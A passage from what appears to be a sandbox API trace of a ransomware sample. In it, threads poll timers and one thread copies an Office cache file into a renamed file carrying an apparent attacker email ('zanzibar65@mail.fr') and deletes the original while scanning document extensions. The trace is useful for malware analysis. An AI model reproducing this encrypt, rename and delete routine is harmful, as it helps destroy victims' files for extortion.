0x18d31 [0035.942] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0036.152] GetTickCount () returned 0x18dfc [0036.152] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0036.515] GetTickCount () returned 0x18f72 [0036.515] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0037.012] GetTickCount () returned 0x19108 [0037.012] GetTickCount () returned 0x19108 [0037.012] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0037.164] GetTickCount () returned 0x191a4 [0037.164] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0037.309] GetTickCount () returned 0x19230 [0037.309] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0037.716] GetTickCount () returned 0x193b6 [0037.716] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0038.137] GetTickCount () returned 0x1955b [0038.137] GetTickCount () returned 0x1955b [0038.137] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0038.899] GetTickCount () returned 0x1980a [0038.899] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0039.218] GetTickCount () returned 0x19932 [0039.218] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0039.607] GetTickCount () returned 0x19a6a [0039.607] GetTickCount () returned 0x19a6a [0039.607] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0040.179] GetTickCount () returned 0x19c0f [0040.179] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0040.533] GetTickCount () returned 0x19d38 [0040.533] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0040.851] GetTickCount () returned 0x19e7f [0040.851] GetTickCount () returned 0x19e7f [0040.851] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0041.057] GetTickCount () returned 0x19f4a [0041.057] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0041.446] GetTickCount () returned 0x1a0b1 [0041.446] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0042.006] GetTickCount () returned 0x1a285 [0042.006] GetTickCount () returned 0x1a285 [0042.006] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0042.402] GetTickCount () returned 0x1a3ec [0042.402] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0042.582] GetTickCount () returned 0x1a497 [0042.582] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0042.934] GetTickCount () returned 0x1a5fe [0042.934] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0043.368] GetTickCount () returned 0x1a7b3 [0043.368] GetTickCount () returned 0x1a7b3 [0043.368] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0043.708] GetTickCount () returned 0x1a90a [0043.708] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0044.189] GetTickCount () returned 0x1aacf [0044.189] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0044.622] GetTickCount () returned 0x1ac74 [0044.622] GetTickCount () returned 0x1ac74 [0044.622] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0044.902] GetTickCount () returned 0x1ad8d [0044.902] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0045.180] GetTickCount () returned 0x1aea5 [0045.180] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0045.484] GetTickCount () returned 0x1afdd [0045.484] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0046.204] GetTickCount () returned 0x1b2ab [0046.204] GetTickCount () returned 0x1b2ab [0046.204] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0046.599] GetTickCount () returned 0x1b431 [0046.599] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0046.840] GetTickCount () returned 0x1b51b [0046.840] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0047.170] GetTickCount () returned 0x1b672 [0047.170] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0047.923] GetTickCount () returned 0x1b95f [0047.923] GetTickCount () returned 0x1b95f [0047.923] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0048.372] GetTickCount () returned 0x1bb23 [0048.372] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0048.754] GetTickCount () returned 0x1bc9a [0048.754] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0049.800] GetTickCount () returned 0x1c0af [0049.800] GetTickCount () returned 0x1c0af [0049.800] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0049.943] GetTickCount () returned 0x1c13b [0049.943] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0050.289] GetTickCount () returned 0x1c2a2 [0050.289] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0050.428] GetTickCount () returned 0x1c31f [0050.428] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0050.701] GetTickCount () returned 0x1c438 [0050.701] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0051.070] GetTickCount () returned 0x1c5ae [0051.070] GetTickCount () returned 0x1c5ae [0051.070] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0052.208] GetTickCount () returned 0x1ca21 [0052.208] GetTickCount () returned 0x1ca21 [0052.208] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0052.444] GetTickCount () returned 0x1cb0b [0052.444] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0052.731] GetTickCount () returned 0x1cc24 [0052.731] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0052.973] GetTickCount () returned 0x1cd1d [0052.973] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0053.645] GetTickCount () returned 0x1cfbc [0053.645] GetTickCount () returned 0x1cfbc [0053.645] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0054.223] GetTickCount () returned 0x1d1fd [0054.223] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0054.486] GetTickCount () returned 0x1d307 [0054.486] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0054.632] GetTickCount () returned 0x1d393 [0054.632] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0054.968] GetTickCount () returned 0x1d4db [0054.968] GetTickCount () returned 0x1d4db [0054.968] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0055.288] GetTickCount () returned 0x1d622 [0055.288] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0056.210] GetTickCount () returned 0x1d9bb [0056.210] GetTickCount () returned 0x1d9bb [0056.210] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0056.525] GetTickCount () returned 0x1daf3 [0056.525] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0056.846] GetTickCount () returned 0x1dc3a [0056.846] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0057.496] GetTickCount () returned 0x1deba [0057.496] GetTickCount () returned 0x1deba [0057.496] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0057.963] GetTickCount () returned 0x1e08e [0057.963] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0058.249] GetTickCount () returned 0x1e1b6 [0058.249] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0058.499] GetTickCount () returned 0x1e2b0 [0058.499] GetTickCount () returned 0x1e2b0 [0058.499] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x0 [0058.499] GetTickCount () returned 0x1e2b0 [0058.499] Sleep (dwMilliseconds=0x64) [0058.899] GetTickCount () returned 0x1e436 [0058.900] Sleep (dwMilliseconds=0x64) [0059.493] GetTickCount () returned 0x1e696 [0059.493] Sleep (dwMilliseconds=0x64) [0059.654] GetTickCount () returned 0x1e732 [0059.654] GetTickCount () returned 0x1e732 [0059.654] Sleep (dwMilliseconds=0x64) [0060.392] GetTickCount () returned 0x1ea10 [0060.393] Sleep (dwMilliseconds=0x64) [0060.647] GetTickCount () returned 0x1eb19 [0060.647] Sleep (dwMilliseconds=0x64) [0061.073] GetTickCount () returned 0x1ecbe [0061.074] GetTickCount () returned 0x1ecbe [0061.074] Sleep (dwMilliseconds=0x64) [0061.422] GetTickCount () returned 0x1ee15 [0061.422] Sleep (dwMilliseconds=0x64) Thread: id = 8 os_tid = 0x958 [0031.978] GetTickCount () returned 0x181fb [0031.978] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x24) returned 0x26bf60 [0031.978] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x26bf60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c [0031.989] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x26bf60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x128 [0031.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x26bf60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x134 [0031.993] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x26bf60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c [0032.042] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x2701d0 [0032.042] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x2701d0, Size=0x20) returned 0x255cd0 [0032.042] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x2701d0 [0032.042] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x2701d0, Size=0x20) returned 0x255cf8 [0032.043] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0032.738] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0032.738] Wow64DisableWow64FsRedirection (in: OldValue=0x25bff84 | out: OldValue=0x25bff84*=0x0) returned 1 [0032.738] lstrlenW (lpString="kernel32.dll") returned 12 [0032.738] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x255cd0 | out: hHeap=0x220000) returned 1 [0032.738] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0032.738] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x255cf8 | out: hHeap=0x220000) returned 1 [0032.738] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x27d440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x118 [0032.741] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0032.930] GetTickCount () returned 0x183af [0032.930] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0033.195] GetTickCount () returned 0x1846b [0033.195] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0033.831] GetTickCount () returned 0x184f7 [0033.831] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0033.991] GetTickCount () returned 0x185a3 [0033.992] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0034.349] GetTickCount () returned 0x18709 [0034.349] GetTickCount () returned 0x18709 [0034.349] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0034.680] GetTickCount () returned 0x18851 [0034.680] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0034.897] GetTickCount () returned 0x1892b [0034.897] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0035.353] GetTickCount () returned 0x18ae0 [0035.353] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0035.564] GetTickCount () returned 0x18bbb [0035.564] GetTickCount () returned 0x18bbb [0035.564] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0035.942] GetTickCount () returned 0x18d31 [0035.942] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0036.152] GetTickCount () returned 0x18dfc [0036.152] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0036.515] GetTickCount () returned 0x18f72 [0036.515] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0037.012] GetTickCount () returned 0x19108 [0037.012] GetTickCount () returned 0x19108 [0037.012] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0037.164] GetTickCount () returned 0x191a4 [0037.164] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0037.309] GetTickCount () returned 0x19230 [0037.309] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0037.716] GetTickCount () returned 0x193b6 [0037.716] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0038.136] GetTickCount () returned 0x1955b [0038.137] GetTickCount () returned 0x1955b [0038.137] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0038.899] GetTickCount () returned 0x1980a [0038.899] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0039.218] GetTickCount () returned 0x19932 [0039.218] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0039.607] GetTickCount () returned 0x19a6a [0039.607] GetTickCount () returned 0x19a6a [0039.607] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0040.179] GetTickCount () returned 0x19c0f [0040.179] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0040.533] GetTickCount () returned 0x19d38 [0040.533] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0040.851] GetTickCount () returned 0x19e7f [0040.851] GetTickCount () returned 0x19e7f [0040.851] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0041.057] GetTickCount () returned 0x19f4a [0041.057] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0041.446] GetTickCount () returned 0x1a0b1 [0041.446] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0042.006] GetTickCount () returned 0x1a285 [0042.006] GetTickCount () returned 0x1a285 [0042.006] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0042.402] GetTickCount () returned 0x1a3ec [0042.402] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0042.581] GetTickCount () returned 0x1a497 [0042.581] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0042.934] GetTickCount () returned 0x1a5fe [0042.934] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0043.368] GetTickCount () returned 0x1a7b3 [0043.368] GetTickCount () returned 0x1a7b3 [0043.368] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0043.708] GetTickCount () returned 0x1a90a [0043.708] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0044.189] GetTickCount () returned 0x1aacf [0044.189] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0044.622] GetTickCount () returned 0x1ac74 [0044.622] GetTickCount () returned 0x1ac74 [0044.622] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0044.902] GetTickCount () returned 0x1adcb [0044.954] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0045.311] GetTickCount () returned 0x1af22 [0045.311] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0045.511] GetTickCount () returned 0x1afed [0045.511] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0046.204] GetTickCount () returned 0x1b2ab [0046.204] GetTickCount () returned 0x1b2ab [0046.204] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0046.599] GetTickCount () returned 0x1b431 [0046.600] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0046.840] GetTickCount () returned 0x1b51b [0046.840] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0047.170] GetTickCount () returned 0x1b672 [0047.170] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0047.923] GetTickCount () returned 0x1b95f [0047.923] GetTickCount () returned 0x1b95f [0047.923] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0048.372] GetTickCount () returned 0x1bb23 [0048.372] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0048.767] GetTickCount () returned 0x1bcb9 [0048.778] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0049.802] GetTickCount () returned 0x1c0af [0049.802] GetTickCount () returned 0x1c0af [0049.802] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0049.943] GetTickCount () returned 0x1c13b [0049.943] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0050.289] GetTickCount () returned 0x1c2a2 [0050.289] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0050.428] GetTickCount () returned 0x1c31f [0050.428] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0050.701] GetTickCount () returned 0x1c438 [0050.701] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0051.070] GetTickCount () returned 0x1c5ae [0051.070] GetTickCount () returned 0x1c5ae [0051.085] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0052.222] GetTickCount () returned 0x1ca21 [0052.222] GetTickCount () returned 0x1ca21 [0052.222] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0052.444] GetTickCount () returned 0x1cb0b [0052.444] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0052.731] GetTickCount () returned 0x1cc24 [0052.731] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0052.973] GetTickCount () returned 0x1cd1d [0052.973] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0053.645] GetTickCount () returned 0x1cfbc [0053.645] GetTickCount () returned 0x1cfbc [0053.645] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0054.223] GetTickCount () returned 0x1d1fd [0054.223] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0054.486] GetTickCount () returned 0x1d307 [0054.486] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0054.632] GetTickCount () returned 0x1d393 [0054.633] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0054.968] GetTickCount () returned 0x1d4db [0054.968] GetTickCount () returned 0x1d4db [0054.968] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0055.288] GetTickCount () returned 0x1d622 [0055.288] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0056.209] GetTickCount () returned 0x1d9bb [0056.209] GetTickCount () returned 0x1d9bb [0056.209] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0056.525] GetTickCount () returned 0x1daf3 [0056.525] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0056.846] GetTickCount () returned 0x1dc3a [0056.846] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0057.496] GetTickCount () returned 0x1deba [0057.496] GetTickCount () returned 0x1deba [0057.496] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0057.963] GetTickCount () returned 0x1e08e [0057.963] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0058.249] GetTickCount () returned 0x1e1b6 [0058.249] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x102 [0058.498] GetTickCount () returned 0x1e2b0 [0058.498] GetTickCount () returned 0x1e2b0 [0058.498] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x64) returned 0x0 [0058.498] GetTickCount () returned 0x1e2b0 [0058.498] Sleep (dwMilliseconds=0x64) [0058.889] GetTickCount () returned 0x1e436 [0058.890] Sleep (dwMilliseconds=0x64) [0059.493] GetTickCount () returned 0x1e696 [0059.493] Sleep (dwMilliseconds=0x64) [0059.653] GetTickCount () returned 0x1e732 [0059.653] GetTickCount () returned 0x1e732 [0059.653] Sleep (dwMilliseconds=0x64) [0060.401] GetTickCount () returned 0x1ea1f [0060.402] Sleep (dwMilliseconds=0x64) [0060.652] GetTickCount () returned 0x1eb19 [0060.652] Sleep (dwMilliseconds=0x64) [0061.074] GetTickCount () returned 0x1ecbe [0061.074] GetTickCount () returned 0x1ecbe [0061.074] Sleep (dwMilliseconds=0x64) [0061.422] GetTickCount () returned 0x1ee15 [0061.422] Sleep (dwMilliseconds=0x64) Thread: id = 9 os_tid = 0x95c [0032.739] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10000) returned 0x2a0318 [0032.739] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10000) returned 0x2b0320 [0032.739] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x270278 [0032.739] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x6) returned 0x25a370 [0032.739] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x270290 [0032.740] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x100000) returned 0x3500020 [0032.740] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x2702a8 [0032.740] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x2702a8, Size=0x20) returned 0x255cf8 [0032.740] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x2702a8 [0032.740] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x2702a8, Size=0x20) returned 0x255cd0 [0032.740] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0032.740] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0032.740] Wow64DisableWow64FsRedirection (in: OldValue=0x21fff58 | out: OldValue=0x21fff58*=0x0) returned 1 [0032.740] lstrlenW (lpString="kernel32.dll") returned 12 [0032.740] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x255cf8 | out: hHeap=0x220000) returned 1 [0032.740] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0032.740] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x255cd0 | out: hHeap=0x220000) returned 1 [0032.740] Sleep (dwMilliseconds=0x64) [0032.930] Sleep (dwMilliseconds=0x64) [0033.195] Sleep (dwMilliseconds=0x64) [0033.831] Sleep (dwMilliseconds=0x64) [0034.001] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.001] lstrlenW (lpString="ExcelMUI.xml") returned 12 [0034.001] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0034.073] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=1565) returned 1 [0034.073] CloseHandle (hObject=0x17c) returned 1 [0034.074] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 0x2020 [0034.074] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0034.074] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0034.074] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0034.074] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0034.074] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0034.077] GetLastError () returned 0x0 [0034.077] ReadFile (in: hFile=0x17c, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x61d, lpOverlapped=0x0) returned 1 [0034.090] WriteFile (in: hFile=0x180, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x620, lpOverlapped=0x0) returned 1 [0034.091] ReadFile (in: hFile=0x17c, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0034.091] WriteFile (in: hFile=0x180, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0034.091] SetEndOfFile (hFile=0x180) returned 1 [0034.091] CloseHandle (hObject=0x180) returned 1 [0034.092] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0034.092] SetEndOfFile (hFile=0x17c) returned 1 [0034.093] CloseHandle (hObject=0x17c) returned 1 [0034.093] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0034.093] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 1 [0034.093] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.093] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0034.093] lstrlenW (lpString=".doc") returned 4 [0034.094] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.094] lstrlenW (lpString=".docx") returned 5 [0034.094] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.094] lstrlenW (lpString=".pdf") returned 4 